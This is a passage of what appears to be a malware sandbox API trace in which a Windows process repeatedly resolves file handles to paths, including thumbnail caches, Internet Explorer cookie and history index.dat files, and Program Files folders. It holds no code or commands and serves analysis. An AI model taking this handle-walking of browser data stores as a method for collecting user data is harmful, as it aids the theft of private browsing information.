dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0090.318] CloseHandle (hObject=0x138) returned 1 [0090.319] GetFileType (hFile=0xf0) returned 0x1 [0090.319] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0090.321] CloseHandle (hObject=0xf0) returned 1 [0090.372] GetFileType (hFile=0x138) returned 0x1 [0090.372] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0090.374] CloseHandle (hObject=0x138) returned 1 [0090.374] GetFileType (hFile=0xf0) returned 0x1 [0090.374] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0090.376] CloseHandle (hObject=0xf0) returned 1 [0090.377] GetFileType (hFile=0x138) returned 0x1 [0090.377] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0090.379] CloseHandle (hObject=0x138) returned 1 [0090.380] GetFileType (hFile=0xf0) returned 0x1 [0090.380] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0090.382] CloseHandle (hObject=0xf0) returned 1 [0090.382] GetFileType (hFile=0x138) returned 0x1 [0090.382] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0090.385] CloseHandle (hObject=0x138) returned 1 [0090.385] GetFileType (hFile=0xf0) returned 0x1 [0090.385] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0090.387] CloseHandle (hObject=0xf0) returned 1 [0090.387] GetFileType (hFile=0x138) returned 0x0 [0090.387] CloseHandle (hObject=0x138) returned 1 [0090.388] GetFileType (hFile=0xf0) returned 0x1 [0090.388] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.389] CloseHandle (hObject=0xf0) returned 1 [0090.389] GetFileType (hFile=0x138) returned 0x1 [0090.389] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0090.391] CloseHandle (hObject=0x138) returned 1 [0090.391] GetFileType (hFile=0xf0) returned 0x1 [0090.391] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0090.393] CloseHandle (hObject=0xf0) returned 1 [0090.393] GetFileType (hFile=0x138) returned 0x1 [0090.393] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.397] CloseHandle (hObject=0x138) returned 1 [0090.401] GetFileType (hFile=0xf0) returned 0x1 [0090.401] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0090.403] CloseHandle (hObject=0xf0) returned 1 [0090.403] GetFileType (hFile=0x138) returned 0x1 [0090.403] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0090.405] CloseHandle (hObject=0x138) returned 1 [0090.405] GetFileType (hFile=0xf0) returned 0x1 [0090.405] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0090.407] CloseHandle (hObject=0xf0) returned 1 [0090.407] GetFileType (hFile=0x138) returned 0x0 [0090.407] CloseHandle (hObject=0x138) returned 1 [0090.407] GetFileType (hFile=0xf0) returned 0x1 [0090.408] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0090.410] CloseHandle (hObject=0xf0) returned 1 [0090.410] GetFileType (hFile=0x138) returned 0x1 [0090.410] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0090.411] CloseHandle (hObject=0x138) returned 1 [0090.411] GetFileType (hFile=0xf0) returned 0x1 [0090.412] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.413] CloseHandle (hObject=0xf0) returned 1 [0090.413] GetFileType (hFile=0x138) returned 0x1 [0090.413] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.429] CloseHandle (hObject=0x138) returned 1 [0090.430] GetFileType (hFile=0xf0) returned 0x1 [0090.430] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.431] CloseHandle (hObject=0xf0) returned 1 [0090.432] GetFileType (hFile=0x138) returned 0x1 [0090.432] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.433] CloseHandle (hObject=0x138) returned 1 [0090.433] GetFileType (hFile=0xf0) returned 0x1 [0090.433] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.435] CloseHandle (hObject=0xf0) returned 1 [0090.435] GetFileType (hFile=0x138) returned 0x1 [0090.435] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0090.437] CloseHandle (hObject=0x138) returned 1 [0090.437] GetFileType (hFile=0xf0) returned 0x1 [0090.437] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0090.439] CloseHandle (hObject=0xf0) returned 1 [0090.439] GetFileType (hFile=0x138) returned 0x1 [0090.439] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.441] CloseHandle (hObject=0x138) returned 1 [0090.441] GetFileType (hFile=0xf0) returned 0x1 [0090.441] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0090.443] CloseHandle (hObject=0xf0) returned 1 [0090.444] GetFileType (hFile=0x138) returned 0x0 [0090.444] CloseHandle (hObject=0x138) returned 1 [0090.444] GetFileType (hFile=0xf0) returned 0x1 [0090.444] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\ActionCenter.dll.mui") returned 0x32 [0090.446] CloseHandle (hObject=0xf0) returned 1 [0090.448] GetFileType (hFile=0x138) returned 0x1 [0090.448] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0090.449] CloseHandle (hObject=0x138) returned 1 [0090.449] GetFileType (hFile=0xf0) returned 0x3 [0090.449] CloseHandle (hObject=0xf0) returned 1 [0090.450] GetFileType (hFile=0x138) returned 0x3 [0090.450] CloseHandle (hObject=0x138) returned 1 [0090.450] GetFileType (hFile=0xf0) returned 0x1 [0090.450] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0090.452] CloseHandle (hObject=0xf0) returned 1 [0090.452] GetFileType (hFile=0x138) returned 0x1 [0090.452] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0090.456] CloseHandle (hObject=0x138) returned 1 [0090.456] GetFileType (hFile=0xf0) returned 0x1 [0090.456] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0090.458] CloseHandle (hObject=0xf0) returned 1 [0090.458] GetFileType (hFile=0x138) returned 0x1 [0090.458] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0090.460] CloseHandle (hObject=0x138) returned 1 [0090.460] GetFileType (hFile=0xf0) returned 0x1 [0090.461] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0090.468] CloseHandle (hObject=0xf0) returned 1 [0090.468] GetFileType (hFile=0x138) returned 0x1 [0090.468] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0090.470] CloseHandle (hObject=0x138) returned 1 [0090.470] GetFileType (hFile=0xf0) returned 0x1 [0090.470] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0090.472] CloseHandle (hObject=0xf0) returned 1 [0090.472] GetFileType (hFile=0x138) returned 0x1 [0090.473] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0090.475] CloseHandle (hObject=0x138) returned 1 [0090.475] GetFileType (hFile=0xf0) returned 0x1 [0090.475] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0090.477] CloseHandle (hObject=0xf0) returned 1 [0090.478] GetFileType (hFile=0x138) returned 0x1 [0090.478] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0090.479] CloseHandle (hObject=0x138) returned 1 [0090.480] GetFileType (hFile=0xf0) returned 0x1 [0090.480] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0090.481] CloseHandle (hObject=0xf0) returned 1 [0090.482] GetFileType (hFile=0x138) returned 0x3 [0090.482] CloseHandle (hObject=0x138) returned 1 [0090.482] GetFileType (hFile=0xf0) returned 0x1 [0090.482] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0090.484] CloseHandle (hObject=0xf0) returned 1 [0090.484] GetFileType (hFile=0x138) returned 0x1 [0090.484] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0090.486] CloseHandle (hObject=0x138) returned 1 [0090.487] GetFileType (hFile=0xf0) returned 0x1 [0090.487] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0090.489] CloseHandle (hObject=0xf0) returned 1 [0090.489] GetFileType (hFile=0x138) returned 0x1 [0090.489] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0090.492] CloseHandle (hObject=0x138) returned 1 [0090.492] GetFileType (hFile=0xf0) returned 0x1 [0090.492] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0090.494] CloseHandle (hObject=0xf0) returned 1 [0090.494] GetFileType (hFile=0x138) returned 0x0 [0090.494] CloseHandle (hObject=0x138) returned 1 [0090.494] GetFileType (hFile=0xf0) returned 0x0 [0090.494] CloseHandle (hObject=0xf0) returned 1 [0090.495] GetFileType (hFile=0x138) returned 0x1 [0090.495] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0090.497] CloseHandle (hObject=0x138) returned 1 [0090.497] GetFileType (hFile=0xf0) returned 0x1 [0090.497] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0090.498] CloseHandle (hObject=0xf0) returned 1 [0090.498] GetFileType (hFile=0x138) returned 0x1 [0090.498] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0090.500] CloseHandle (hObject=0x138) returned 1 [0090.500] GetFileType (hFile=0xf0) returned 0x0 [0090.500] CloseHandle (hObject=0xf0) returned 1 [0090.500] GetFileType (hFile=0x138) returned 0x1 [0090.500] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.502] CloseHandle (hObject=0x138) returned 1 [0090.502] GetFileType (hFile=0xf0) returned 0x1 [0090.502] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0090.503] CloseHandle (hObject=0xf0) returned 1 [0090.503] GetFileType (hFile=0x138) returned 0x1 [0090.503] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.504] CloseHandle (hObject=0x138) returned 1 [0090.504] GetFileType (hFile=0xf0) returned 0x1 [0090.504] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0090.505] CloseHandle (hObject=0xf0) returned 1 [0090.506] GetFileType (hFile=0x138) returned 0x1 [0090.506] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.507] CloseHandle (hObject=0x138) returned 1 [0090.507] GetFileType (hFile=0xf0) returned 0x1 [0090.507] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0090.509] CloseHandle (hObject=0xf0) returned 1 [0090.509] GetFileType (hFile=0x138) returned 0x1 [0090.509] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.510] CloseHandle (hObject=0x138) returned 1 [0090.511] GetFileType (hFile=0xf0) returned 0x1 [0090.511] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0090.512] CloseHandle (hObject=0xf0) returned 1 [0090.512] GetFileType (hFile=0x138) returned 0x1 [0090.512] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.513] CloseHandle (hObject=0x138) returned 1 [0090.513] GetFileType (hFile=0xf0) returned 0x1 [0090.514] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0090.515] CloseHandle (hObject=0xf0) returned 1 [0090.515] GetFileType (hFile=0x138) returned 0x1 [0090.516] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.517] CloseHandle (hObject=0x138) returned 1 [0090.517] GetFileType (hFile=0xf0) returned 0x1 [0090.517] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0090.518] CloseHandle (hObject=0xf0) returned 1 [0090.518] GetFileType (hFile=0x138) returned 0x1 [0090.519] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.520] CloseHandle (hObject=0x138) returned 1 [0090.520] GetFileType (hFile=0xf0) returned 0x1 [0090.520] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0090.521] CloseHandle (hObject=0xf0) returned 1 [0090.521] GetFileType (hFile=0x138) returned 0x1 [0090.521] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.522] CloseHandle (hObject=0x138) returned 1 [0090.522] GetFileType (hFile=0xf0) returned 0x1 [0090.523] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0090.524] CloseHandle (hObject=0xf0) returned 1 [0090.524] GetFileType (hFile=0x138) returned 0x1 [0090.524] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.525] CloseHandle (hObject=0x138) returned 1 [0090.525] GetFileType (hFile=0xf0) returned 0x1 [0090.525] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0090.526] CloseHandle (hObject=0xf0) returned 1 [0090.526] GetFileType (hFile=0x138) returned 0x1 [0090.527] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.528] CloseHandle (hObject=0x138) returned 1 [0090.528] GetFileType (hFile=0xf0) returned 0x1 [0090.528] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0090.529] CloseHandle (hObject=0xf0) returned 1 [0090.530] GetFileType (hFile=0x138) returned 0x1 [0090.530] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.531] CloseHandle (hObject=0x138) returned 1 [0090.531] GetFileType (hFile=0xf0) returned 0x1 [0090.531] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0090.532] CloseHandle (hObject=0xf0) returned 1 [0090.532] GetFileType (hFile=0x138) returned 0x1 [0090.532] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.533] CloseHandle (hObject=0x138) returned 1 [0090.534] GetFileType (hFile=0xf0) returned 0x1 [0090.534] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0090.535] CloseHandle (hObject=0xf0) returned 1 [0090.535] GetFileType (hFile=0x138) returned 0x1 [0090.535] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.536] CloseHandle (hObject=0x138) returned 1 [0090.536] GetFileType (hFile=0xf0) returned 0x1 [0090.537] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0090.537] CloseHandle (hObject=0xf0) returned 1 [0090.538] GetFileType (hFile=0x138) returned 0x1 [0090.538] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.563] CloseHandle (hObject=0x138) returned 1 [0090.563] GetFileType (hFile=0xf0) returned 0x1 [0090.563] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0090.564] CloseHandle (hObject=0xf0) returned 1 [0090.565] GetFileType (hFile=0x138) returned 0x1 [0090.565] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0090.566] CloseHandle (hObject=0x138) returned 1 [0090.566] GetFileType (hFile=0xf0) returned 0x1 [0090.566] GetFinalPathNameByHandleW (in: hFile=0xf0, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0090.567] CloseHandle (hObject=0xf0) returned 1 [0090.567] GetFileType (hFile=0x138) returned 0x1 [0090.568] GetFinalPathNameByHandleW (in: hFile=0x138, lpszFilePath=0x65772f0, cchFilePath=0x400, dwFlags=0x0 | out: 